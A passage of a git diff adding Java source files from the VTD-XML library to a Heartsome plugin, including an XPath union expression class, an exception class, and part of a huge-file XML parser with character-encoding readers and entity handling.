com.ximpleware.xpath.Expr#isNumerical() + */ + public boolean isNumerical() { + // TODO Auto-generated method stub + return e.isNumerical(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isNodeSet() + */ + public boolean isNodeSet() { + // TODO Auto-generated method stub + return e.isNodeSet(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isString() + */ + public boolean isString() { + // TODO Auto-generated method stub + return e.isString(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#isBoolean() + */ + public boolean isBoolean() { + // TODO Auto-generated method stub + return e.isBoolean(); + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#requireContextSize() + */ + public boolean requireContextSize() { + // boolean b = false; + UnionExpr tmp = this; + while (tmp != null) { + if (tmp.e.requireContextSize()== true){ + return true; + } + tmp = tmp.next; + } + return false; + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#setContextSize(int) + */ + public void setContextSize(int size) { + current = this; + current.e.setContextSize(size); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.setContextSize(size); + tmp = tmp.next; + } + } + + /* + * (non-Javadoc) + * + * @see com.ximpleware.xpath.Expr#setPosition(int) + */ + public void setPosition(int pos) { + + current = this; + current.e.setPosition(pos); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.setPosition(pos); + tmp = tmp.next; + } + + } + + public boolean isUnique(int i) { + return ih.isUnique(i); + + } + + public int adjust(int n){ + int i = e.adjust(n); + if (ih!=null && i==ih.e) + {} + else + ih = new intHash(i); + UnionExpr tmp = this.next; + while (tmp != null) { + tmp.e.adjust(n); + tmp = tmp.next; + } + return i; + } + +} \ No newline at end of file diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDExceptionHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDExceptionHuge.java new file mode 100644 index 0000000..c3ad203 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDExceptionHuge.java @@ -0,0 +1,29 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; + +/** + * VTDExceptionHuge is the root class for all exceptions in this package (com.ximpleware.extended) + */ +public class VTDExceptionHuge extends Exception { + public VTDExceptionHuge(String s){ + super(s); + } + public VTDExceptionHuge(){ + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDGenHuge.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDGenHuge.java new file mode 100644 index 0000000..f68201e --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/VTDGenHuge.java @@ -0,0 +1,3442 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +import java.io.*; + + +import com.ximpleware.extended.parser.*; + +//import java.io.*; +/** + * VTDGenHuge implementation supporting extended VTD (256GB file size). + * Current support built-in entities only + * It parses DTD, but doesn't resolve declared entities + */ +public class VTDGenHuge { + // internal parser state + + private final static int STATE_LT_SEEN = 0; // encounter the first < + private final static int STATE_START_TAG = 1; + private final static int STATE_END_TAG = 2; + private final static int STATE_ATTR_NAME = 3; + private final static int STATE_ATTR_VAL = 4; + private final static int STATE_TEXT = 5; + private final static int STATE_DOC_START = 6; // beginning of document + private final static int STATE_DOC_END = 7; // end of document + private final static int STATE_PI_TAG =8; + private final static int STATE_PI_VAL = 9; + private final static int STATE_DEC_ATTR_NAME = 10; + private final static int STATE_COMMENT = 11; + private final static int STATE_CDATA = 12; + private final static int STATE_DOCTYPE = 13; + private final static int STATE_END_COMMENT = 14; + // comment appear after the last ending tag + private final static int STATE_END_PI = 15; + //private final static int STATE_END_PI_VAL = 17; + + public final static int IN_MEMORY = 0; + public final static int MEM_MAPPED = 1; + + // token type + public final static int TOKEN_STARTING_TAG = 0; + public final static int TOKEN_ENDING_TAG = 1; + public final static int TOKEN_ATTR_NAME = 2; + public final static int TOKEN_ATTR_NS = 3; + public final static int TOKEN_ATTR_VAL = 4; + public final static int TOKEN_CHARACTER_DATA = 5; + public final static int TOKEN_COMMENT = 6; + public final static int TOKEN_PI_NAME = 7; + public final static int TOKEN_PI_VAL = 8; + public final static int TOKEN_DEC_ATTR_NAME = 9; + public final static int TOKEN_DEC_ATTR_VAL = 10; + public final static int TOKEN_CDATA_VAL = 11; + public final static int TOKEN_DTD_VAL = 12; + public final static int TOKEN_DOCUMENT = 13; + + // encoding format + public final static int FORMAT_UTF8 = 2; + public final static int FORMAT_ASCII = 0; + + public final static int FORMAT_ISO_8859_1 = 1; + public final static int FORMAT_ISO_8859_2 = 3; + public final static int FORMAT_ISO_8859_3 = 4; + public final static int FORMAT_ISO_8859_4 = 5; + public final static int FORMAT_ISO_8859_5 = 6; + public final static int FORMAT_ISO_8859_6 = 7; + public final static int FORMAT_ISO_8859_7 = 8; + public final static int FORMAT_ISO_8859_8 = 9; + public final static int FORMAT_ISO_8859_9 = 10; + public final static int FORMAT_ISO_8859_10 = 11; + public final static int FORMAT_ISO_8859_11 = 12; + public final static int FORMAT_ISO_8859_12 = 13; + public final static int FORMAT_ISO_8859_13 = 14; + public final static int FORMAT_ISO_8859_14 = 15; + public final static int FORMAT_ISO_8859_15 = 16; + public final static int FORMAT_ISO_8859_16 = 17; + + public final static int FORMAT_WIN_1250 = 18; + public final static int FORMAT_WIN_1251 = 19; + public final static int FORMAT_WIN_1252 = 20; + public final static int FORMAT_WIN_1253 = 21; + public final static int FORMAT_WIN_1254 = 22; + public final static int FORMAT_WIN_1255 = 23; + public final static int FORMAT_WIN_1256 = 24; + public final static int FORMAT_WIN_1257 = 25; + public final static int FORMAT_WIN_1258 = 26; + public final static int FORMAT_UTF_16LE = 64; + public final static int FORMAT_UTF_16BE = 63; + //namespace aware flag + protected boolean ns; + protected int VTDDepth; // Maximum Depth of VTDs + protected int encoding; + private int last_depth; + private int last_l1_index; + private int last_l2_index; + private int last_l3_index; + private int increment; + private boolean BOM_detected; + private boolean must_utf_8; + private int ch; + private int ch_temp; + protected long offset; // this is byte offset, not char offset as encoded in VTD + private long temp_offset; + protected int depth; + + + protected long prev_offset; + protected int rootIndex; + protected IByteBuffer xb; + protected FastLongBuffer VTDBuffer; + protected FastLongBuffer l1Buffer; + protected FastLongBuffer l2Buffer; + protected FastIntBuffer l3Buffer; + protected boolean br; //buffer reuse + + + protected long docLen; + // again, in terms of byte, not char as encoded in VTD + protected long endOffset; + protected long[] tag_stack; + public long[] attr_name_array; + public final static int MAX_DEPTH = 30; // maximum depth value + protected long docOffset; + + // attr_name_array size + private final static int ATTR_NAME_ARRAY_SIZE = 16; + // tag_stack size + private final static int TAG_STACK_SIZE = 32; + // max prefix length + public final static int MAX_PREFIX_LENGTH = (1<<8) -1; + // max Qname length + public final static int MAX_QNAME_LENGTH = (1<<11) -1; + // max Token length + public final static int MAX_TOKEN_LENGTH = (1<<17) -1; + + + + class UTF8Reader implements IReader { + public UTF8Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + int temp = xb.byteAt(offset); + //int a = 0, c = 0, d = 0, val = 0; + if (temp >= 0) { + offset++; + return temp; + } + return handleUTF8(temp); + + } + private int handleUTF8(int temp) throws EncodingExceptionHuge, ParseExceptionHuge{ + int val,c,d,a,i; + temp = temp & 0xff; + switch (UTF8Char.byteCount(temp)) { // handle multi-byte code + case 2: + c = 0x1f; + // A mask determine the val portion of the first byte + d = 6; // + a = 1; // + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new ParseExceptionHuge( + "UTF 8 encoding error: should never happen"); + } + val = (temp & c) << d; + i = a - 1; + while (i >= 0) { + temp = xb.byteAt(offset + a - i); + if ((temp & 0xc0) != 0x80) + throw new ParseExceptionHuge( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + offset += a + 1; + return val; + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, EncodingExceptionHuge, ParseExceptionHuge { + //int a = 0, c = 0, d = 0, val = 0; + int temp = xb.byteAt(offset); + if (temp >= 0) + if (ch == temp) { + offset++; + return true; + } else { + return false; + } + return skipUTF8(temp, ch); + } + private boolean skipUTF8(int temp, int ch) throws EncodingExceptionHuge, ParseExceptionHuge{ + int val, c, d, a, i; + temp = temp & 0xff; + switch (UTF8Char.byteCount(temp)) { // handle multi-byte code + case 2: + c = 0x1f; + // A mask determine the val portion of the first byte + d = 6; // + a = 1; // + break; + case 3: + c = 0x0f; + d = 12; + a = 2; + break; + case 4: + c = 0x07; + d = 18; + a = 3; + break; + case 5: + c = 0x03; + d = 24; + a = 4; + break; + case 6: + c = 0x01; + d = 30; + a = 5; + break; + default: + throw new ParseExceptionHuge( + "UTF 8 encoding error: should never happen"); + } + val = (temp & c) << d; + i = a - 1; + while (i >= 0) { + temp = xb.byteAt(offset + a - i); + if ((temp & 0xc0) != 0x80) + throw new ParseExceptionHuge( + "UTF 8 encoding error: should never happen"); + val = val | ((temp & 0x3f) << ((i << 2) + (i << 1))); + i--; + } + if (val == ch){ + offset += a + 1; + return true; + }else + return false; + + } + + } + class UTF16BEReader implements IReader { + public UTF16BEReader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + int val = 0; + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + int temp = (xb.byteAt(offset)&0xff) << 8 | (xb.byteAt(offset+1)&0xff); + if ((temp < 0xd800) || (temp > 0xdfff)) { // not a high surrogate + offset += 2; + return temp; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingExceptionHuge("UTF 16 BE encoding error: should never happen"); + val = temp; + temp = (xb.byteAt(offset+2)&0xff) << 8 | (xb.byteAt(offset+3)&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new EncodingExceptionHuge("UTF 16 BE encoding error: should never happen"); + } + val = ((val - 0xd800)<<10) + (temp - 0xdc00) + 0x10000; + offset += 4; + return val; + + } + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + // implement UTF-16BE to UCS4 conversion + int temp = (xb.byteAt(offset)&0xff) << 8 | (xb.byteAt(offset+1)&0xff); + if ((temp < 0xd800) || (temp > 0xdfff)) { // not a high surrogate + //offset += 2; + if (temp == ch) { + offset += 2; + return true; + } else + return false; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingExceptionHuge("UTF 16 BE encoding error: should never happen"); + int val = temp; + temp = (xb.byteAt(offset+2)&0xff) << 8 | (xb.byteAt(offset+3)&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be a low surrogate here + throw new EncodingExceptionHuge("UTF 16 BE encoding error: should never happen"); + } + val = ((val - 0xd800) << 10) + (temp - 0xdc00) + 0x10000; + if (val == ch) { + offset += 4; + return true; + } else + return false; + } + } + } + class UTF16LEReader implements IReader { + + public UTF16LEReader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + int val = 0; + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + int temp = (xb.byteAt(offset+1) &0xff) << 8 | (xb.byteAt(offset)& 0xff); + if (temp < 0xd800 || temp > 0xdfff) { // check for low surrogate + offset += 2; + return temp; + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingExceptionHuge("UTF 16 LE encoding error: should never happen"); + val = temp; + temp = (xb.byteAt(offset+3) &0xff) << 8 | (xb.byteAt(offset+2)&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new EncodingExceptionHuge("UTF 16 LE encoding error: should never happen"); + } + val = ((val - 0xd800) <<10) + (temp - 0xdc00) + 0x10000; + offset += 4; + return val; + } + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, EncodingExceptionHuge, ParseExceptionHuge { + + int temp = (xb.byteAt(offset+1)&0xff) << 8 | (xb.byteAt(offset)&0xff); + if (temp < 0xd800 ||temp > 0xdfff) { // check for low surrogate + if (temp == ch) { + offset += 2; + return true; + } else { + return false; + } + } else { + if (temp<0xd800 || temp>0xdbff) + throw new EncodingExceptionHuge("UTF 16 LE encoding error: should never happen"); + int val = temp; + temp = (xb.byteAt(offset+3)&0xff)<< 8 | (xb.byteAt(offset+2)&0xff); + if (temp < 0xdc00 || temp > 0xdfff) { + // has to be high surrogate + throw new EncodingExceptionHuge("UTF 16 LE encoding error: should never happen"); + } + val = ((val - 0xd800)<<10) + (temp - 0xdc00) + 0x10000; + if (val == ch) { + offset += 4; + return true; + } else + return false; + } + + } + } + + class ASCIIReader implements IReader { + public ASCIIReader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + int a; + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + a= xb.byteAt(offset++); + if (a<0) + throw new ParseExceptionHuge( + "ASCII encoding error: invalid ASCII Char"); + return a&0x7f; + } + public boolean skipChar(int ch) + throws ParseExceptionHuge, EOFExceptionHuge, EncodingExceptionHuge { + + if (ch == xb.byteAt(offset)) { + offset++; + return true; + } else { + return false; + } + } + + } + class ISO8859_1Reader implements IReader { + public ISO8859_1Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return xb.byteAt(offset++) & 0xff; + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == xb.byteAt(offset)) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_2Reader implements IReader { + public ISO8859_2Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_2.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_2.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + class ISO8859_3Reader implements IReader { + public ISO8859_3Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_3.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_3.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_4Reader implements IReader { + public ISO8859_4Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_4.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_4.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_5Reader implements IReader { + public ISO8859_5Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_5.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_5.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_6Reader implements IReader { + public ISO8859_6Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_6.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_6.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + class ISO8859_7Reader implements IReader { + public ISO8859_7Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_7.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_7.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_8Reader implements IReader { + public ISO8859_8Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_8.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_8.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_9Reader implements IReader { + public ISO8859_9Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_9.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_9.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + + class ISO8859_10Reader implements IReader { + public ISO8859_10Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_10.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_10.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_11Reader implements IReader { + public ISO8859_11Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_11.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_11.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_13Reader implements IReader { + public ISO8859_13Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_13.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_13.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_14Reader implements IReader { + public ISO8859_14Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_14.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_14.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class ISO8859_15Reader implements IReader { + public ISO8859_15Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return ISO8859_15.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == ISO8859_15.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + class WIN1250Reader implements IReader { + public WIN1250Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1250.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1250.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + class WIN1251Reader implements IReader { + public WIN1251Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1251.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1251.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + + + + class WIN1252Reader implements IReader { + public WIN1252Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1252.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1252.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1253Reader implements IReader { + public WIN1253Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1253.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1253.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1254Reader implements IReader { + public WIN1254Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1254.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1254.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1255Reader implements IReader { + public WIN1255Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1255.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1255.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1256Reader implements IReader { + public WIN1256Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1256.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1256.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1257Reader implements IReader { + public WIN1257Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1257.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1257.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + + class WIN1258Reader implements IReader { + public WIN1258Reader() { + } + public int getChar() + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + + if (offset >= endOffset) + throw new EOFExceptionHuge("permature EOF reached, XML document incomplete"); + return WIN1258.decode(xb.byteAt(offset++)); + } + public boolean skipChar(int ch) + throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge { + if (ch == WIN1258.decode(xb.byteAt(offset))) { + offset++; + return true; + } else { + return false; + } + } + } + protected IReader r; + + /** + * VTDGenHuge constructor method. + */ + public VTDGenHuge() { + attr_name_array = new long[ATTR_NAME_ARRAY_SIZE]; + tag_stack = new long[TAG_STACK_SIZE]; + //scratch_buffer = new int[10]; + VTDDepth = 0; + r = new UTF8Reader(); + br = false; + } + /** + * Clear internal states so VTDGEn can process the next file. + */ + public void clear() { + if (br==false){ + VTDBuffer = null; + l1Buffer = null; + l2Buffer = null; + l3Buffer = null; + } + xb = null; + offset = temp_offset =0; + last_depth = last_l1_index = last_l2_index = 0; + rootIndex = 0; + depth = -1; + increment =1; + BOM_detected = false; + must_utf_8 = false; + ch = ch_temp = 0; + + } + /** + * This method will detect whether the entity is valid or not and increment offset. + * @return int + * @throws com.ximpleware.extended.ParseExceptionHuge Super class for any exception during parsing. + * @throws com.ximpleware.extended.EncodingExceptionHuge UTF/native encoding exception. + * @throws com.ximpleware.extended.EOFExceptionHuge End of file exception. + */ + private int entityIdentifier() throws EntityExceptionHuge, EncodingExceptionHuge,EOFExceptionHuge, ParseExceptionHuge { + int ch = r.getChar(); + int val = 0; + + switch (ch) { + case '#': + ch = r.getChar(); + if (ch == 'x') { + while (true) { + ch = r.getChar(); + if (ch >= '0' && ch <= '9') { + val = (val << 4) + (ch - '0'); + } else if (ch >= 'a' && ch <= 'f') { + val = (val << 4) + (ch - 'a' + 10); + } else if (ch >= 'A' && ch <= 'F') { + val = (val << 4) + (ch - 'A' + 10); + } else if (ch == ';') { + return val; + } else + throw new EntityExceptionHuge("Errors in char reference: Illegal char following &#x."); + } + } else { + while (true) { + if (ch >= '0' && ch <= '9') { + val = val * 10 + (ch - '0'); + } else if (ch == ';') { + break; + } else + throw new EntityExceptionHuge("Errors in char reference: Illegal char following &#."); + ch = r.getChar(); + } + } + if (!XMLChar.isValidChar(val)) { + throw new EntityExceptionHuge("Errors in entity reference: Invalid XML char."); + } + return val; + //break; + + case 'a' : + ch = r.getChar(); + if (ch == 'm') { + if (r.getChar() == 'p' && r.getChar() == ';') { + //System.out.println(" entity for &"); + return '&'; + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + } else if (ch == 'p') { + if (r.getChar() == 'o' + && r.getChar() == 's' + && r.getChar() == ';') { + //System.out.println(" entity for ' "); + return '\''; + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + + case 'q' : + if (r.getChar() == 'u' + && r.getChar() == 'o' + && r.getChar() == 't' + && r.getChar() == ';') { + return '"'; + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + case 'l' : + if (r.getChar() == 't' && r.getChar() == ';') { + return '<'; + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + //break; + case 'g' : + if (r.getChar() == 't' && r.getChar() == ';') { + return '>'; + } else + throw new EntityExceptionHuge("Errors in Entity: Illegal builtin reference"); + default : + throw new EntityExceptionHuge("Errors in Entity: Illegal entity char"); + } + //return val; + } + /** + * Format the string indicating the position (line number:offset)of the offset if + * there is an exception. + * @return java.lang.String indicating the line number and offset of the exception + */ + private String formatLineNumber() { + long so = docOffset; + int lineNumber = 0; + long lineOffset = 0; + //long end = offset; + + if (encoding < FORMAT_UTF_16BE) { + while (so <= offset-1) { + if (xb.byteAt(so) == '\n') { + lineNumber++; + lineOffset = so; + } + //lineOffset++; + so++; + } + lineOffset = offset - lineOffset; + } else if (encoding == FORMAT_UTF_16BE) { + while (so <= offset-2) { + if (xb.byteAt(so + 1) == '\n' && xb.byteAt(so) == 0) { + lineNumber++; + lineOffset = so; + } + so += 2; + } + lineOffset = 